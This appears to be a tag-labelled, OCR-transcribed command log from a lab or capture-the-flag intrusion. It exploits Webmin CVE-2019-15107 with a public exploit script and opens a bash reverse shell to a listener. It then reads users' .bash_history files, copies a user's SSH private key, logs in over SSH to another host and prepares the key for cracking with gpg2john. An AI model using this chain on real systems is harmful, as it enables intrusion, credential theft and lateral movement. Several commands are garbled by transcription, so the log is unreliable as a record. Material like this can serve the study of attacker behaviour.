```
git clone https://github.com/jas502n/CVE-2019-15107 U
ls A10
                                         ls -la A10
                       drwx----- 3 root root 4096 Apr 7 11:39 .gnupg U
                       drwxr-xr-x 3 root root 4096 Jul 15 09:27 .local U
                       drwxr-xr-x 2 root root 4096 Jul 15 09:27 Music U
                      drwxr-xr-x 2 root root 4096 Jul 15 09:27 Pictures U
                    git clone https://github.com/jas502n/CVE-2019-15107 U
                                            cd U
                                           ls A10
                                   cd CVE-2019-15107/ U
                                          ls A10
ncat -l 8080 A1 A9 A11 A12 A17
                           sudo apt install neat A1 A9 A11 A12 A17
                               ncat -l 8080 A1 A9 A11 A12 A17
                               ncat -i 8080 A1 A9 A11 A12 A17
                               ncat -l 8080 A1 A9 A11 A12 A17
 python CVE 2019 15107.py http://172.18.1.5:10000 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1' A13
                  python CVE 2019 15107.py http://172.18.1.5:10000 'id' A13
          python CVE_2019_15107.py http://172.18.1.5:10000 'cat ./.bash_history' M11
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/eva/.bash_history' M11
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat home/bob/.bash history' M11
     python CVE 2019 15107.py http://172.18.1.5:10000 'cat home/debian/.bash_history' M11
          python CVE_2019_15107.py http://172.18.1.5:10000 'ls home/debian/' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/debian/' A10 A13
               python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la' A10 A13
           python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls' A10 A13
                                 module.info.pt_BR.UTF-8 U
                                   module.info.ru.UTF-8 U
                                    module.info.ru RU U
                                 module.info.ru_RU.UTF-8 U
                                    module.info.ru_SU U
                                      module.info.sk U
                                   module.info.sk.UTF-8 U
                                      module.info.sv U
                                   module.info.sv.UTF-8 U
                                      module.info.tr U
                                    module.info.zh_CN U
                                  module.info.zh\_TW.Big5~U
                                       negativeacl U
                                        openssl.cnf U
                                       postinstall.pl U
                                       save_acl.cgi U
                                      save_group.cgi U
                                      save_pass.cgi U
                                       save_sql.cgi U
                                      save_sync.cgi U
                                    save_twofactor.cgi U
                                      save_unix.cgi U
                                      save user.cgi A4
                                       schema.cgi U
                                        switch.cgi U
                                      system_info.pl U
                                       twofactor.pl U
                                    twofactor form.cgi U
                                  useradmin_update.pl A4
                                     webmin.schema U
          python CVE_2019_15107.py http://172.18.1.5:10000 'cd /home ; ls -la' A10 A13
                          rwxr-xr-x \, 6 root bin 12288 Jul \, 4 \, 2019 . U
                         drwxr-xr-x 132 root bin 12288 Jul 4 2019 .. U
               drwxr-xr-x 3 root bin 4096 Jul 4 2019 Authen-SolarisRBAC-0.1 U
            python CVE_2019_15107.py http://172.18.1.5:10000 'cd /; ls -la' A10 A13
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home' A10 A13
           python CVE 2019 15107.py http://172.18.1.5:10000 'ls /home/alice' A10 A13
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/alice' A10 A13
        python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/debian' A10 A13
            python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/eve' M10
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash history' M11
                                         ervices U
                    echo '81.2.195.254' >> ~/top-secret/too dangerous.txt U
                                        2.195.254 U
                                    cat /etc/services M1
                              less /etc/services A9 A11 A12 A17
      python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/bob/.bash_history' M11
          python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' M11
                                     ssh 10.1.18.22 A16
                                     ssh 10.1.17.4 A16
          python CVE 2019 15107.py http://172.18.1.5:10000 'ssh eve@10.1.17.4' M16
python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' M10
python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh' A1 A9 A11 A12 A13 A16 A17
      python CVE 2019 15107.py http://172.18.1.5:10000 'cat /home/eve/.bash_history' M11
             python CVE_2019_15107.py http://172.18.1.5:10000 'ls /home/eve/' M10
          python CVE_2019_15107.py http://172.18.1.5:10000 'ls -la /home/bob' A10 A13
            python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve' M10
         python CVE 2019 15107.py http://172.18.1.5:10000 'ls -la /home/eve/.ssh/' M10
       python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa' M12
                                       touch id_rsa U
                                       nano id_rsa U
     python CVE_2019_15107.py http://172.18.1.5:10000 'cat /home/eve/.ssh/id_rsa.pub' M12
                                     touch id_rsa.pub U
                                     nano id rsa.pub U
                                  ssh eve@10.1.17.4 M16
                                           cd .. U
                                           ls A10
                                        cd .ssh A16
                                           ls A10
                                         ls -la A10
                                   chmod 600 id_rsa M15
                                         ls -la A10
                                  ssh eve@10.1.17.4 M16
                                    gpg2john id_rsa A14
                             scp -r * eve@10.1.17.4:/home/eve/ U
```

ifconfig U

nmao U

nmap A0 A1

nmap A0 A1

ifconfig U

nmap -h A0 A1

curl U

ifconfig U

git clone github.com/jas502n/CVE-2019-15107 U